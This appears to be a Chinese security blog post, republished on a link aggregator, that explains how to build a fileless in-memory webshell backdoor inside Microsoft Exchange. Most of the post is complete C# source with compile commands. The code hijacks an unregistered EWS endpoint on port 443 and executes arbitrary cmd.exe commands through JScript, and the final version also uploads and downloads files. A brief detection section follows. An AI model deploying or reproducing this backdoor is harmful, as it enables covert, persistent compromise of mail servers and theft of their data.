7

渗透基础——Exchange一句话后门的进一步实现

 2 years ago
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%90%8E%E9%97%A8%E7%9A%84%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%AE%9E%E7%8E%B0
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

渗透基础——Exchange一句话后门的进一步实现

27 Nov 2021

0x00 前言

在之前的文章《渗透基础——Exchange一句话后门的实现》《渗透基础——Exchange一句话后门的扩展》介绍了通过Webshell内存加载.net程序集的方法。

如果同其他技术相结合,可以达到意想不到的效果。

本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。

0x01 简介

本文将要介绍以下内容:

0x02 思路启发

1.Exchange的端口复用

参考资料:

http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html

https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0

通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问

这种方法可以在Exchange下建立一个监听器,执行提供的命令

2.通过C Sharp调用JScript

参考资料:

https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852

https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.vsa?view=netframework-4.8

示例代码test1.cs的内容如下:

using System;
namespace test
{
    public class Program
    {                   
        public static void Main(string[] args)
        {
            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()";
            Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
            code = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(code));
            object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
            Console.WriteLine(obj);
        }
    }
}
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test1.cs

3.Exchange的端口复用 + 通过C Sharp调用JScript

示例代码test2.cs的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace test
{
    public class test
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
        try
        {
            if (!HttpListener.IsSupported)
            {
                return;
            }
            HttpListener listener = new HttpListener();
            listener.Prefixes.Add("https://*:443/ews/test/");
            listener.Start();
            while (true)
            {
                HttpListenerContext context = listener.GetContext();
                HttpListenerRequest request = context.Request;
                HttpListenerResponse response = context.Response;
                Stream stm = null ;
                string cmd=request.QueryString["pass"];
                Console.WriteLine(cmd);
                if(!string.IsNullOrEmpty(cmd))
                {
                    try
                    {
                        Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                        cmd = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(cmd));
                        object obj = Microsoft.JScript.Eval.JScriptEvaluate(cmd, vsaEngine);
                        byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                        response.StatusCode = 200;
                        response.ContentLength64 = data.Length;
                        stm = response.OutputStream;
                        stm.Write(data, 0, data.Length);
                    }
                    catch 
                    { 
                        response.StatusCode = 404; 
                    }
                    finally
                    {
                        if(stm!=null)
                        {
                            stm.Close();
                        }
                    }
                }
                else
                {
                    response.StatusCode = 404;
                    response.OutputStream.Close();
                }
                
            }
        }
        catch
        {
        }
    }
    }
}
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test2.cs

以上代码通过调用JScript执行cmd命令,简单实现了Webshell的功能

4.内存加载.net程序集

将以上代码按照.net程序集的格式编译成dll,再通过Webshell进行内存加载,那么就能够实现一个内存Webshell

示例代码tes3.cs的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace EWS.TEST.BACKDOOR
{
    public class TEST
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
            try
            {
                if (!HttpListener.IsSupported)
                {
                    return;
                }
                HttpListener listener = new HttpListener();
                listener.Prefixes.Add("https://*:443/ews/test/");
                listener.Start();
                while (true)
                {
                    HttpListenerContext context = listener.GetContext();
                    HttpListenerRequest request = context.Request;
                    HttpListenerResponse response = context.Response;
                    Stream stm = null ;
                    string cmd = request.QueryString["cmd"];
                    string upload = request.QueryString["upload"];
                    string path = request.QueryString["path"];
                    string download = request.QueryString["download"];                          
                    if(string.IsNullOrEmpty(cmd) && string.IsNullOrEmpty(upload) && string.IsNullOrEmpty(download) && string.IsNullOrEmpty(path))
                    {
                        response.StatusCode = 404;
                        response.OutputStream.Close();
                    }
                    else
                    {
                        if(!string.IsNullOrEmpty(upload) && !string.IsNullOrEmpty(path))
                        {
                            byte[] temp = Convert.FromBase64String(path);
                            path = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] data = Convert.FromBase64String(upload);
                            FileStream fs = new FileStream(path, FileMode.Create);
                            fs.Write(data, 0, data.Length);
                            fs.Flush();
                            fs.Close();
                            response.StatusCode = 200;
                            response.OutputStream.Close(); 
                        }
                        else if(!string.IsNullOrEmpty(download))
                        {
                            byte[] temp = Convert.FromBase64String(download);
                            download = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] buffer = System.IO.File.ReadAllBytes(download);
                            string base64str = Convert.ToBase64String(buffer);
                            byte[] data = System.Text.Encoding.UTF8.GetBytes(base64str);
                            response.StatusCode = 200;
                            response.ContentLength64 = data.Length;
                            stm = response.OutputStream;
                            stm.Write(data, 0, data.Length);
                        }
                        else if(!string.IsNullOrEmpty(cmd))
                        {
                            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c " + cmd + "\").stdout.readall()";
                            try
                            {
                                Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                                code = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(code));
                                object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
                                byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                                response.StatusCode = 200;
                                response.ContentLength64 = data.Length;
                                stm = response.OutputStream;
                                stm.Write(data, 0, data.Length);
                            }
                            catch 
                            { 
                                response.StatusCode = 404; 
                            }
                            finally
                            {
                                if(stm!=null)
                                {
                                    stm.Close();
                                }
                            }
                        }
                        else
                        {
                            response.StatusCode = 404;
                            response.OutputStream.Close();
                        }
                    }             
                }
            }
            catch
            {
            }
        }
    }
}
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /r:Microsoft.JScript.dll test3.cs

生成的test3.dll即为实现内存Webshell的Payload数据,支持命令执行,文件上传和下载

0x03 检测方法

这种内存Webshell不需要文件落地,会写入进程内存,无法调用Assembly.UnLoad清除,只能重启Exchange

检测方法:根据Assembly.Load的内存特性进行检查

参考资料:

https://www.elastic.co/blog/hunting-memory-net-attacks

可供参考的检测脚本:

https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58

检测命令:

powershell -ep bypass -c "Import-Module ./Get-ClrReflection.ps1;Get-ClrReflection"

0x04 小结

本文介绍了Exchange内存Webshell的实现思路,给出防御检测的建议。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK